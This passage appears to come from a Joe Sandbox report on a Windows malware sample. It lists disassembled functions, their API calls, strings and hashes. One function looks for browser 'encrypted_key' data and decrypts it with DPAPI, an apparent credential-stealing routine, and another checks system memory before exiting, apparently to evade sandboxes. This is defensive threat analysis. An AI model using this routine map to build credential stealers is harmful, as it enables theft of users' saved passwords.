RegCloseKey.ADVAPI32(00000000), ref: 00417F2C
RegCloseKey.ADVAPI32(00000000), ref: 00417F39

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

RegQueryValueExA.KERNEL32(00000000,02579BB0,00000000,000F003F,?,00000400), ref: 00417F8C
lstrlenA.KERNEL32(?), ref: 00417FA1
RegQueryValueExA.KERNEL32(00000000,02579E50,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,00420B24), ref: 00418039
RegCloseKey.KERNEL32(00000000), ref: 004180A8
RegCloseKey.ADVAPI32(00000000), ref: 004180BA

Strings

%s\%s, xrefs: 00417EED

Memory Dump Source

Source File: 00000000.00000002.2379261885.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2379261885.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000062C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: 59d830b7fe34aa01cb39e0cbca92bd7d37a3181ffda65cf720781bd3ca839efc
Instruction ID: 0d61fbe7999a289fff57b0559f919f0328d455d47faa6f76a7bc41a93025e826
Opcode Fuzzy Hash: 59d830b7fe34aa01cb39e0cbca92bd7d37a3181ffda65cf720781bd3ca839efc
Instruction Fuzzy Hash: 2B211971A0021CABDB24DF54DC85FD9B7B9FB48714F00C199A609A6280DF756AC6CF98

Function 00404800 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 60stringnetworkCOMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT ref: 0040483A
??_U@YAPAXI@Z.MSVCRT ref: 00404851
??2@YAPAXI@Z.MSVCRT ref: 00404868
lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404889
InternetCrackUrlA.WININET(00000000,00000000), ref: 00404899

Strings

<, xrefs: 00404819

Memory Dump Source

Source File: 00000000.00000002.2379261885.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2379261885.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000062C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ??2@CrackInternetlstrlen
String ID: <
API String ID: 184842949-4251816714
Opcode ID: 6654e7a5d908528a77a448fb9e6f9b7e308e562f8bcdcf50e074e0bef5e7dcb8
Instruction ID: 93cf72731df314aae8b190796811ac6c8ed605cccc68025416595ba5c6ffb16c
Opcode Fuzzy Hash: 6654e7a5d908528a77a448fb9e6f9b7e308e562f8bcdcf50e074e0bef5e7dcb8
Instruction Fuzzy Hash: 0A2129B1D00208ABDF14DFA5E849ADD7B75FF44364F108229F926A72D0DB706A05CF95

Function 00417130 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417144
HeapAlloc.KERNEL32(00000000), ref: 0041714B
RegOpenKeyExA.KERNEL32(80000002,02559F38,00000000,00020119,00000000), ref: 0041717D
RegQueryValueExA.KERNEL32(00000000,02579BE0,00000000,00000000,?,000000FF), ref: 0041719E
RegCloseKey.ADVAPI32(00000000), ref: 004171A8

Strings

Windows 11, xrefs: 0041715D

Memory Dump Source

Source File: 00000000.00000002.2379261885.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2379261885.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000062C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3466090806-2517555085
Opcode ID: 7e52da74aeff6e087cb32fc56a687b6502875dfd8540e0d42b3236aa97f07f61
Instruction ID: 198b37f2a351322ee600fb862932720b373255b2f394089b4190a5419862cb8c
Opcode Fuzzy Hash: 7e52da74aeff6e087cb32fc56a687b6502875dfd8540e0d42b3236aa97f07f61
Instruction Fuzzy Hash: 4C018F74A40208BFEB10DFE4DD49FAE7779EB08710F104098FA0997290D6749A428B64

Function 004171C0 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 004171D4
HeapAlloc.KERNEL32(00000000), ref: 004171DB
RegOpenKeyExA.KERNEL32(80000002,02559F38,00000000,00020119,00417159), ref: 004171FB
RegQueryValueExA.KERNEL32(00417159,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 0041721A
RegCloseKey.ADVAPI32(00417159), ref: 00417224

Strings

CurrentBuildNumber, xrefs: 00417211

Memory Dump Source

Source File: 00000000.00000002.2379261885.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2379261885.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000062C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3466090806-1022791448
Opcode ID: 6c07f27ec60b8ac9df4e5178828e9d35e6ab3eda5138c8e540781496da3810dc
Instruction ID: 00cad297c96af00baba5933f046dbcc6cd847f8af16dedc1aa1025fe7f1f3d79
Opcode Fuzzy Hash: 6c07f27ec60b8ac9df4e5178828e9d35e6ab3eda5138c8e540781496da3810dc
Instruction Fuzzy Hash: EE014FB9A40708BFDB10DFE0DC4AFAEB779EB08704F104558FA05A7291D674AA418B55

Function 00413BC0 Relevance: 9.1, APIs: 6, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00413BE5
RegOpenKeyExA.KERNEL32(80000001,0257A5A0,00000000,00020119,?), ref: 00413C04
RegQueryValueExA.ADVAPI32(?,0257ACD8,00000000,00000000,00000000,000000FF), ref: 00413C28
RegCloseKey.ADVAPI32(?), ref: 00413C32
lstrcat.KERNEL32(?,00000000), ref: 00413C57
lstrcat.KERNEL32(?,0257AF78), ref: 00413C6B

Memory Dump Source

Source File: 00000000.00000002.2379261885.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2379261885.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000062C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcat$CloseOpenQueryValuememset
String ID:
API String ID: 2623679115-0
Opcode ID: d4db36429f90b718e22daca015467a858ebeea603ee9fe30967bea3d45dd3f7a
Instruction ID: 29de2a712fc1e2dfcbf32ad4341a25eb625067ccdef54b7492a2b75d077fe01c
Opcode Fuzzy Hash: d4db36429f90b718e22daca015467a858ebeea603ee9fe30967bea3d45dd3f7a
Instruction Fuzzy Hash: 1841B8B69001086BDB24EBA0DC46FEE733DAB88304F00895DB619561D1FEB957CC8BD5

Function 00413070 Relevance: 9.1, APIs: 6, Instructions: 122stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 00413098

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

strtok_s.MSVCRT ref: 004131E1

Part of subcall function 0041A1F0: lstrlenA.KERNEL32(00000000,?,?,00415634,00420AC3,00420AC2,?,?,004165B6,00000000,?,02555E18,?,004210DC,?,00000000), ref: 0041A1FB
Part of subcall function 0041A1F0: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A255

Memory Dump Source

Source File: 00000000.00000002.2379261885.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2379261885.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000062C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcpystrtok_s$lstrlen
String ID:
API String ID: 3184129880-0
Opcode ID: 74c2f0421cc1b6554e966d90acdc48de0050edb133c9c5499aa201bdf71f5c31
Instruction ID: 79a306a9ddce9c6cdb539d8aaa48a82ffdeeeca754e5da37ea89086183b8fd1c
Opcode Fuzzy Hash: 74c2f0421cc1b6554e966d90acdc48de0050edb133c9c5499aa201bdf71f5c31
Instruction Fuzzy Hash: 87416371E01108ABCB04EFE5DC89AEEB774BF44314F00801EE51677251DB78AA95CF9A

Function 00409A10 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00409A3C
GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A61
LocalAlloc.KERNEL32(00000040,?), ref: 00409A81
ReadFile.KERNEL32(000000FF,?,00000000,00410127,00000000), ref: 00409AAA
LocalFree.KERNEL32(00410127), ref: 00409AE0
FindCloseChangeNotification.KERNEL32(000000FF), ref: 00409AEA

Memory Dump Source

Source File: 00000000.00000002.2379261885.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2379261885.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000062C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: File$Local$AllocChangeCloseCreateFindFreeNotificationReadSize
String ID:
API String ID: 1815715184-0
Opcode ID: 24062bcf7953aa6561ef9c9ca184d407a98801e1446d194c55f86fab29cae21b
Instruction ID: 9a616c59c25f48dda5b41b64f2eda75996ce8e2783f016847e561ac14b63f668
Opcode Fuzzy Hash: 24062bcf7953aa6561ef9c9ca184d407a98801e1446d194c55f86fab29cae21b
Instruction Fuzzy Hash: 5D310AB4A00209EFDB24CF95C895BAE7BB5BF48314F108169E911A73D0D778AD41CFA5

Function 00401220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0040123E
__aulldiv.LIBCMT ref: 00401258
__aulldiv.LIBCMT ref: 00401266
ExitProcess.KERNEL32 ref: 00401294

Strings

@, xrefs: 00401233

Memory Dump Source

Source File: 00000000.00000002.2379261885.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2379261885.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000062C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: ea570c17900da72c0ff61e466dfdba6c639ea0a5e55046902d87947f1e012f1f
Instruction ID: 3a295e2926d3a661784167dae5cc93d3585e5da9a2cb48fc087cd8b2851d2611
Opcode Fuzzy Hash: ea570c17900da72c0ff61e466dfdba6c639ea0a5e55046902d87947f1e012f1f
Instruction Fuzzy Hash: 8601FBB0D40308BAEB10EBE4DD49B9EBB78AB14705F20809EEA05B62D0D7785585875D

Function 00409D30 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 97COMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 00409A10: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00409A3C
Part of subcall function 00409A10: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A61
Part of subcall function 00409A10: LocalAlloc.KERNEL32(00000040,?), ref: 00409A81
Part of subcall function 00409A10: ReadFile.KERNEL32(000000FF,?,00000000,00410127,00000000), ref: 00409AAA
Part of subcall function 00409A10: LocalFree.KERNEL32(00410127), ref: 00409AE0
Part of subcall function 00409A10: FindCloseChangeNotification.KERNEL32(000000FF), ref: 00409AEA

Part of subcall function 004188D0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 004188F2

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00409D89

Part of subcall function 00409B10: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,>O@,00000000,00000000), ref: 00409B3F
Part of subcall function 00409B10: LocalAlloc.KERNEL32(00000040,?,?,?,00404F3E,00000000,?), ref: 00409B51
Part of subcall function 00409B10: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,>O@,00000000,00000000), ref: 00409B7A
Part of subcall function 00409B10: LocalFree.KERNEL32(?,?,?,?,00404F3E,00000000,?), ref: 00409B8F

memcmp.MSVCRT ref: 00409DE2

Part of subcall function 00409BB0: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00409BD4
Part of subcall function 00409BB0: LocalAlloc.KERNEL32(00000040,00000000), ref: 00409BF3
Part of subcall function 00409BB0: memcpy.MSVCRT ref: 00409C16
Part of subcall function 00409BB0: LocalFree.KERNEL32(?), ref: 00409C23

Strings

, xrefs: 00409E11
"encrypted_key":", xrefs: 00409D80
DPAPI, xrefs: 00409DD9

Memory Dump Source

Source File: 00000000.00000002.2379261885.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2379261885.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000062C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$ChangeCloseCreateDataFindNotificationReadSizeUnprotectlstrcpymemcmpmemcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 596995583-738592651
Opcode ID: 26adcde02c4680da5536f08a3ab25de395cf6bc5a1552881adb5713740cb9222
Instruction ID: 7f392d33d6ad21de2d61bb21213a98381b23072c845d074b64d64ac31095145a
Opcode Fuzzy Hash: 26adcde02c4680da5536f08a3ab25de395cf6bc5a1552881adb5713740cb9222
Instruction Fuzzy Hash: 7A3150B5D00108ABCB04DBE4DC45AEF77B8AF48304F44856AE915B3282E7789E44CBA5

Function 6CA1C930 Relevance: 7.6, APIs: 5, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 6CA1C947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6CA1C969
GetSystemInfo.KERNEL32(?), ref: 6CA1C9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6CA1C9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6CA1C9E2

Memory Dump Source

Source File: 00000000.00000002.2419916379.000000006CA01000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2419895637.000000006CA00000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2419975502.000000006CA7D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420004104.000000006CA8E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420032941.000000006CA92000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: cfbc59b9733af26cefc696cd495e150d5f31cc2a228e057619113becbb01592c
Instruction ID: e9094ffcad1d053601ed17b9965a23a0a13a9625acb2653f1fd9bade1b3691fa
Opcode Fuzzy Hash: cfbc59b9733af26cefc696cd495e150d5f31cc2a228e057619113becbb01592c
Instruction Fuzzy Hash: 1F212F317463156BDB085A64DC84BAE73B9BB47708F50412DF947D7E40D7709C4487A0

Function 004178A0 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 004178D7
HeapAlloc.KERNEL32(00000000), ref: 004178DE
RegOpenKeyExA.KERNEL32(80000002,0255A130,00000000,00020119,?), ref: 004178FE
RegQueryValueExA.KERNEL32(?,0257A700,00000000,00000000,000000FF,000000FF), ref: 0041791F
RegCloseKey.ADVAPI32(?), ref: 00417932

Memory Dump Source

Source File: 00000000.00000002.2379261885.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2379261885.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000062C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID:
API String ID: 3466090806-0
Opcode ID: d4f8544a164a9437c7f2146de9882181f67f3b24d4450b32dfc713e681060546
